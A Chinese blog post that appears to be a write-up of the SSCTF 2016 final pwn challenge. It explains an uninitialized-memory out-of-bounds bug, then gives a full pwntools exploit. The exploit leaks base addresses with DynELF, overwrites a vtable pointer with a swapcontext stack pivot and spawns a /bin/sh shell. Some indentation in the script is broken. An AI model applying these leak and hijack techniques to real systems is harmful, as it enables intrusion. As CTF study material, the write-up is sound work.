SSCTF Final PWN

    比赛过去了两个月了,抽出时间,将当时的PWN给总结一下。

    和线上塞的题的背景一样,只不过洞不一样了。Checksec一样,发现各种防护措施都开了。

    程序模拟了简单的堆的管理,以及cookie的保护机制。漏洞是一个内存未初始化漏洞,就是申请内存的时候,上一次的内存还未清0,这个时候通过构造特定输入可以使用内存中仍有的内容。这样的话,容易造成数组的越界读写。就是通过数组的越界读写将程序的基址,libc的基址,堆的基址,cookie都给泄露了出来。通过构造任意地址写,将虚表指针覆盖为gadget地址,顺利拿到shell。参考了炜师傅的writeup,http://ww9210.cn/2016/04/15/ssctf-2016-final-pwn-writeup/

    顺便说一下,在Libc里setcontext,swapcontext中有很好用gadget用来stack pivot。

    此外,直接用pwntools的话,好像并不能用来对full relro使用dynelf进行信息泄露,github上最新的我没有尝试,如果可以的话也请大家可以告诉我;有人对pwntools进行了改进,成为了binjitsu,可以用来对full relro的程序进行dynelf,不过还是依赖了libcdatabase。http://uaf.io/exploitation/misc/2016/04/02/Finding-Functions.html 这一篇文章里介绍了进行信息泄露的两种方法,还没仔细看。

    附上shell:

    附上poc:

 

  1 from pwn import *
  2 import time
  3 #by wangaohui
  4 #context.log_level = 'debug'
  5 exe = 'final1'
  6 s= remote('127.0.0.1',10001,timeout=60)
  7 def getpid():
  8     time.sleep(0.1)
  9     pid= pwnlib.util.proc.pidof(exe)
 10     print pid
 11     raw_input('go!')
 12 #getpid()
 13 #alloc 12+3 items(align 8 byte,so 12+3+1)
 14 s.recvuntil('_CMD_$')
 15 s.sendline('sort')
 16 s.recvuntil('How many numbers do you want to sort:')
 17 s.sendline('12')
 18 for i in range(12):
 19     s.recvuntil('number:')
 20     s.sendline('0')
 21 s.recvuntil('Choose: ')
 22 s.sendline('7')
 23 
 24 #sort 3 items(3+3+2)
 25 s.recvuntil('_CMD_$')
 26 s.sendline('sort')
 27 s.recvuntil('How many numbers do you want to sort:')
 28 s.sendline('3')
 29 s.recvuntil('number:')
 30 s.sendline('a')
 31 s.recvuntil('Invalid number, stopped input!')
 32 s.recvuntil('Choose: ')
 33 s.sendline('3')    #sort
 34 s.recvuntil('Choose: ')
 35 s.sendline('')
 36 s.recvuntil('Choose: ')
 37 s.sendline('1')    #query
 38 s.recvuntil('Query index: ')
 39 s.sendline('3')
 40 s.recvuntil('Query result: ')
 41 data = s.recvuntil(',')[:-1]
 42 #print data
 43 if data.startswith('-'):
 44     big_chunk = (int(data[1:])^0xffffffff) + 1 - 8
 45     #print hex(big_chunk)
 46 else:
 47     big_chunk = int(data) -8 
 48     #print hex(big_chunk)
 49 print 'big_chunk addr is: ' + hex(big_chunk)
 50 s.recvuntil('Choose: ')
 51 s.sendline('7')
 52 
 53 #sort 3 items(3+3+2)
 54 s.recvuntil('_CMD_$')
 55 s.sendline('sort')
 56 s.recvuntil('How many numbers do you want to sort:')
 57 s.sendline('3')
 58 for i in range(3):
 59         s.recvuntil('number:')
 60         s.sendline('0')
 61 s.recvuntil('Choose: ')
 62 s.sendline('3') #sort
 63 s.recvuntil('Choose: ')
 64 s.sendline('')
 65 s.recvuntil('Choose: ')
 66 s.sendline('7')
 67 
 68 #reload 
 69 s.recvuntil('_CMD_$')
 70 s.sendline('reload')
 71 s.recvuntil('Reload history ID: ')
 72 s.sendline('1')
 73 s.recvuntil('Choose: ')
 74 s.sendline('1')
 75 s.recvuntil('Query index: ')
 76 s.sendline('6')
 77 s.recvuntil('Query result: ')
 78 data = s.recvuntil(',')[:-1]
 79 #print data
 80 if data.startswith('-'):
 81     random = ((int(data[1:])^0xffffffff) + 1)^3
 82     #print hex(random)
 83 else:
 84     random = int(data)^3 
 85     #print hex(random)
 86 print 'random is: ' + hex(random)
 87 s.recvuntil('Choose: ')
 88 s.sendline('1')
 89 s.recvuntil('Query index: ')
 90 s.sendline('7')
 91 s.recvuntil('Query result: ')
 92 data = s.recvuntil(',')[:-1]
 93 #print data
 94 if data.startswith('-'):
 95     pvt = ((int(data[1:])^0xffffffff) + 1)
 96         heap = ((int(data[1:])^0xffffffff) + 1) - 0xa8
 97         #print hex(heap)
 98 else:
 99     pvt = int(data)
100         heap = int(data) - 0xa8
101         #print hex(heap)
102 print 'heap addr is: ' + hex(heap)
103 s.recvuntil('Choose: ')
104 s.sendline('2')
105 s.recvuntil('Update index: ')
106 s.sendline('5')
107 s.recvuntil('Update number: ')
108 s.sendline(str(0x7fffffff))
109 s.recvuntil('Choose: ')
110 s.sendline('2')
111 s.recvuntil('Update index: ')
112 s.sendline('6')
113 s.recvuntil('Update number: ')
114 s.sendline(str(random^0x7fffffff))
115 s.recvuntil('Choose: ')
116 s.sendline('7')
117 
118 s.recvuntil('_CMD_$')
119 s.sendline('sort')
120 s.recvuntil('How many numbers do you want to sort:')
121 s.sendline('3')
122 for i in range(3):
123         s.recvuntil('number:')
124         s.sendline('0')
125 s.recvuntil('Choose: ')
126 s.sendline('3')    #sort
127 s.recvuntil('Choose: ')
128 s.sendline('')
129 s.recvuntil('Choose: ')
130 s.sendline('7')
131 
132 s.recvuntil('_CMD_$')
133 s.sendline('sort')
134 s.recvuntil('How many numbers do you want to sort:')
135 s.sendline('3')
136 s.recvuntil('number:')
137 s.sendline('a')
138 s.recvuntil('Invalid number, stopped input!')
139 s.recvuntil('Choose: ')
140 s.sendline('1')
141 start = (2+16+8+3)*4+big_chunk    #items addr
142 if pvt>start:
143     index = (pvt-start)/4
144 else:
145     index = (pvt+0x100000000-start)/4
146 s.recvuntil('Query index: ')
147 s.sendline(str(index))
148 s.recvuntil('Query result: ')
149 data = s.recvuntil(',')[:-1]
150 #print data
151 if data.startswith('-'):
152     vt = ((int(data[1:])^0xffffffff) + 1)
153 else:
154     vt = int(data)
155 if vt>start:
156     index = (vt-start)/4
157 else:
158     index = (vt+0x100000000-start)/4
159 s.recvuntil('Choose: ')
160 s.sendline('1')
161 s.recvuntil('Query index: ')
162 s.sendline(str(index))
163 s.recvuntil('Query result: ')
164 data = s.recvuntil(',')[:-1]
165 if data.startswith('-'):
166     base = ((int(data[1:])^0xffffffff) + 1 - 0x1D50)
167 else:
168     base = int(data - 0x1d50)
169 print 'exe base is: ' + hex(base)
170 def leak(addr):
171     if addr>start:
172         index = (addr-start)/4
173     else:
174         index = (addr+0x100000000-start)/4
175     s.recvuntil('Choose: ')
176     s.sendline('1')
177     s.recvuntil('Query index: ')
178     s.sendline(str(index))
179     s.recvuntil('Query result: ')
180     data = s.recvuntil(',')[:-1]
181     if data.startswith('-'):
182         r = ((int(data[1:])^0xffffffff) + 1)
183     else:
184         r = int(data) 
185     return p32(r)
186 d = DynELF(leak,pointer=base,elf=ELF('./final1'))
187 libc_base = d.lookup(None,'libc')
188 print 'libc_base is: ' + hex(libc_base)
189 #method 1 
190 #e=d.libc
191 #str_binsh=(list(e.search('/bin/sh'))[0])
192 system= d.lookup('system','libc')
193 swapcontext = d.lookup('swapcontext','libc')
194 print 'swapcontext is: ' + hex(swapcontext)
195 pivot = swapcontext+(0x7f-0x10)
196 print 'system is: ' + hex(system)
197 
198 def update(addr,value):
199     if addr>start:
200             index = (addr-start)/4
201     else:
202             index = (addr+0x100000000-start)/4
203         s.recvuntil('Choose: ')
204         s.sendline('2')
205         s.recvuntil('Update index: ')
206         s.sendline(str(index))
207         s.recvuntil('Update number: ')
208     if value>0x7fffffff:
209         s.sendline(str(value-0x100000000))
210     else:
211         s.sendline(str(value))
212 
213 redir = big_chunk + (2+16+16)*4 + 0x200
214 eax = big_chunk + (2+16+16)*4 + 0x300
215 esp = big_chunk + (2+16+16)*4 + 0x400
216 #method 2
217 binsh = 0x6e69622f #/bin
218 binsh1 = 0x68732f #/sh\x00
219 str_binsh = big_chunk + (2+16+16)*4 + 0x500
220 update(str_binsh,binsh)
221 update(str_binsh + 4,binsh1)
222 #method 2 end
223 
224 ecx = eax + 0x4c
225 pesp = eax + 0x30
226 
227 
228 update(redir,pivot)
229 update(pesp,esp)
230 update(esp+4,str_binsh)
231 update(ecx,system)
232 update(start-4,eax)
233 update(eax,redir)
234 
235 s.recvuntil('Choose: ')
236 s.sendline('3')
237 s.interactive()
238 
239 s.close()
View Code

 

posted @ 2016-06-14 19:07  简单地快乐  阅读(912)  评论(0编辑  收藏  举报